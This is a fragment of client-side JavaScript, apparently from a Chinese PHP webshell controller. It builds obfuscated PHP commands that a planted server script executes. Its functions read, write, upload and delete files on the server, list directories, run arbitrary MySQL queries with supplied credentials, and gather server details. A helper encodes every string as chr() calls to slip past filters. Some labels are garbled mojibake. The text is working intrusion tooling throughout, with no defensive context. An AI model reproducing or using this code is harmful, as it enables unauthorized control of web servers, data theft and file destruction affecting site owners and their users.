frm.tmpcmd.value+="$contents=@fread($fp, filesize($filename));\n"
frm.tmpcmd.value+="@fclose($fp);\n"
frm.tmpcmd.value+="$contents=htmlspecialchars($contents);\n"
frm.tmpcmd.value+="echo $s.$contents.$e;\n"
}
function readdir(){
frm.tmpcmd.value="$dir="
frm.tmpcmd.value+=duqu(frm.duqu.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="$f = chr(60).chr(98).chr(114).chr(62);"
frm.tmpcmd.value+="$dir=@dir($dir);"
frm.tmpcmd.value+="if($dir) "
frm.tmpcmd.value+="{"
frm.tmpcmd.value+=" echo path_______.$dir->path.$f;"
frm.tmpcmd.value+=" while($entry=$dir->read())"
frm.tmpcmd.value+=" {"
frm.tmpcmd.value+=" echo ____.$entry.$f; "
frm.tmpcmd.value+=" }"
frm.tmpcmd.value+=" $dir->close();"
frm.tmpcmd.value+="}"
frm.tmpcmd.value+="else"
frm.tmpcmd.value+="{echo 0;}"
}
function SQL(){
frm.tmpcmd.value="$message=chr(102).chr(97).chr(105).chr(108).chr(33);\n"
frm.tmpcmd.value+="$fgf=chr(32);\n"
if(frm.dbpassword.value !=''){
frm.tmpcmd.value+="$dbpassword= "
frm.tmpcmd.value+=duqu(frm.dbpassword.value)
frm.tmpcmd.value+=";\n"
}
frm.tmpcmd.value+="$servername="
frm.tmpcmd.value+=duqu(frm.servername.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="$dbusername="
frm.tmpcmd.value+=duqu(frm.dbusername.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="$dbname="
frm.tmpcmd.value+=duqu(frm.dbname.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="$sql="
frm.tmpcmd.value+=duqu(frm.sql.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="@mysql_connect($servername,$dbusername,$dbpassword) or die($message);\n"
frm.tmpcmd.value+="@mysql_select_db($dbname) or die($message);\n"
frm.tmpcmd.value+="$sql=stripslashes($sql);\n"
frm.tmpcmd.value+="$result = @mysql_query($sql);\n"
frm.tmpcmd.value+="while($row=mysql_fetch_array($result,MYSQL_BOTH)){\n"
frm.tmpcmd.value+="for($j=0;$j<count($row);$j++){\n"
frm.tmpcmd.value+="print($row[$j].$fgf);}\n"
frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);}\n"
frm.tmpcmd.value+="mysql_free_result($result);\n"
frm.tmpcmd.value+="mysql_close();\n"
}
function createfile(){
frm.tmpcmd.value="$filen="
frm.tmpcmd.value+=duqu(frm.filen.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="$filec="
frm.tmpcmd.value+=duqu(frm.filec.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="$a=chr(119);\n"
frm.tmpcmd.value+="$fp=@fopen($filen,$a);\n"
frm.tmpcmd.value+="$msg=@fwrite($fp,$filec);\n"
frm.tmpcmd.value+="if($msg) echo chr(79).chr(75).chr(33);\n"
frm.tmpcmd.value+="@fclose($fp);\n"
}
11111111111111111
function delfile(){
frm.tmpcmd.value="$filen="
frm.tmpcmd.value+=duqu(frm.filen.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="if(@unlink($filen)) echo chr(79).chr(75).chr(33);"
}
function createdir(){
frm.tmpcmd.value="$dirs="
frm.tmpcmd.value+=duqu(frm.dir.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="if(@mkdir($dirs,0777)) echo chr(79).chr(75).chr(33);"
}
function rmdir(){
frm.tmpcmd.value="$dirs="
frm.tmpcmd.value+=duqu(frm.dir.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value+="if(@rmdir($dirs)) echo chr(79).chr(75).chr(33);"
}
function upfile(){
frm.tmpcmd.value="$uploaddir="
frm.tmpcmd.value+=duqu(frm.uploaddir.value)
frm.tmpcmd.value+=";\n"
frm.tmpcmd.value="if (strlen($uploaddir)<1){\n"
frm.tmpcmd.value+="$updir=$_FILES[LanKerF][name];}\n"
frm.tmpcmd.value+="else{\n"
frm.tmpcmd.value+="$updir=$uploaddir.chr(47).$_FILES[LanKerF][name];}\n"
frm.tmpcmd.value+="if(@copy($_FILES[LanKerF][tmp_name],$updir)) echo upfile.chr(58).$updir.chr(32).chr(32).OK.chr(33);"
}
function ascchar(){
frm.chrstr.value=duqu(frm.inputstr.value)
}
function info(){
frm.tmpcmd.value="echo <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ.chr(58);"
frm.tmpcmd.value+="echo PHP_OS;"
frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);"
frm.tmpcmd.value+="echo <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>.chr(58);"
frm.tmpcmd.value+="echo $_SERVER[HTTP_ACCEPT_LANGUAGE];"
frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);"
frm.tmpcmd.value+="echo <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP.chr(58);"
frm.tmpcmd.value+="echo $_SERVER[SERVER_NAME];"
frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);"
frm.tmpcmd.value+="echo Web<65><62><EFBFBD><EFBFBD><EFBFBD>˿ڶ˿<DAB6>.chr(58);"
frm.tmpcmd.value+="echo $_SERVER[SERVER_PORT];"
frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);"
frm.tmpcmd.value+="echo PHP<48><50><EFBFBD>з<EFBFBD>ʽ.chr(58);"
frm.tmpcmd.value+="echo strtoupper(php_sapi_name());"
frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);"
frm.tmpcmd.value+="echo PHP<48>汾.chr(58);"
frm.tmpcmd.value+="echo PHP_VERSION;"
frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);"
frm.tmpcmd.value+="echo <20><><EFBFBD>ļ<EFBFBD>·<EFBFBD><C2B7>.chr(58);"
frm.tmpcmd.value+="echo $_SERVER[PATH_TRANSLATED];"
}
</script>
<script >
function duqu(strcode){
var duqu="";
for(i=1;i<strcode.length;i++){
if(strcode.charCodeAt(i-1)<256){
duqu+="chr("+strcode.charCodeAt(i-1)+").";
}
else
duqu+=strcode.charAt(i-1)+".";
}
if(strcode.charCodeAt(i-1)<256){
duqu+="chr("+strcode.charCodeAt(strcode.length-1)+")";
}
else
duqu+=strcode.charAt(strcode.length-1);
return duqu
}
</script>
Reference in New Issue Copy Permalink